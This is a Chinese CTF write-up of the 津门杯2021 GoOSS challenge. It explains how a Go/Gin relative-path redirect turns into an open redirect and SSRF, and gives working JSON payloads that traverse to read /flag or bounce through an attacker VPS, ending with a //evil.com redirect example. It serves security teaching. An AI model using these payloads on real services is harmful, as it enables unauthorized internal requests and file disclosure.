由一道CTF学习相对路径重定向引发的开放重定向:津门杯2021-GoOSS

由一道CTF学习相对路径重定向引发的开放重定向:津门杯2021-GoOSS

涉及到的知识点

  • 文件路径解析过程和URL的差异
  • 相对路径重定向
  • 开放重定向
  • 题外话:对象存储服务(Object Storage Service,简称OSS);本题的OSS只是一个幌子。

漏洞点分析

  • 在文件中间件处,存在一处相对路径重定向的操作:c.Redirect(302, c.Request.URL.String()+"/"),这里的开发目的很好理解:如果用户输入的为路径,但又没有加/,则使用相对重定向(相对重定向是关键,在后文会讲)将url定向到路径(添加一个/
  • 但是利用时有3个条件:fileSystem.Open(c.Request.URL.String())成功,fi.IsDir()为true,并且路径不以/结尾:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
func fileMidderware(c *gin.Context) {
...
f, err := fileSystem.Open(c.Request.URL.String())
if f == nil {
c.Next()
}
...
if fi.IsDir() {
if !strings.HasSuffix(c.Request.URL.String(), "/") {
c.Redirect(302, c.Request.URL.String()+"/")
//go的302定向可以不输入协议(http:),即 //127.0.0.1/?file=xxx

前两个条件在绕过时充分体现了Orange大表哥的“不同协议解析差异”问题,此处为文件路径和url解析不同的问题。

fileSystem.Open的绕过

要触发SSRF,首先要使fileSystem.Open(path)正确返回一个文件夹,fileSystem.Open支持虚拟路径,可以用../绕过,在讲绕过方法前,我们先看一下文件路径解析的几种情况(可以体会一下和url解析的差异):

  1. /../:返回上一层
  2. /flag/:flag文件夹
  3. /flag&../:一个名为flag&..的路径
  4. /127.0.0.1:1234/:一个名为127.0.0.1:1234的路径

理解了这四种解析,就可以很容易的理解这道题的绕过方法了,此题有两种绕过方法:

  1. {"url":"http://127.0.0.1:1234//127.0.0.1?file=../../../../../flag&../.."}
  2. {"url":"http://127.0.0.1:1234//129.204.230.95/.."}

fi.IsDir()的绕过

直接在路径最后加上/..就会被识别为路径;此外,使用/也会被识别为路径,但本题由于需要结尾不出现/所以不能用。

获取flag的payload

以json格式发送请求:Content-Type: application/json,最终可以有两种利用方法拿flag(直接打127和利用恶意服务器进行重定向):

  • wp1:
1
2
3
/vul
{"url":"http://127.0.0.1:1234//127.0.0.1?file=../../../../../flag&../.."}
{"url":"http://127.0.0.1:1234//127.0.0.1?file=/flag&../../.."}
  • wp2(xx为自己的302跳转的恶意VPS):
1
2
/vul
{"url":"http://127.0.0.1:1234//xx.xx.xx.xx/.."}

重定向为相对路径下的漏洞

跳脱题目本身,我们来看看真实情况下的开发动机和案例。

在RFC标准中,302重定向如果没有协议信息,则为相对重定向:Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content

例:

1
Location: /People.html#tim

相当于:

1
Location: http://www.example.org/People.html#tim

这样很容易造成开放重定向:

就如本题一样,为了有更好的用户体验,很多框架都有自动处理无斜杠的路径的操作:xxx.com/123被重定向至xxx.com/123/(使用相对重定向/123->/123/)。

然而如果url为xxx.com//evil.com,如果没有过滤,就会被重定向至//evil.com/,从而从相对路径逃逸到绝对路径。

参考资料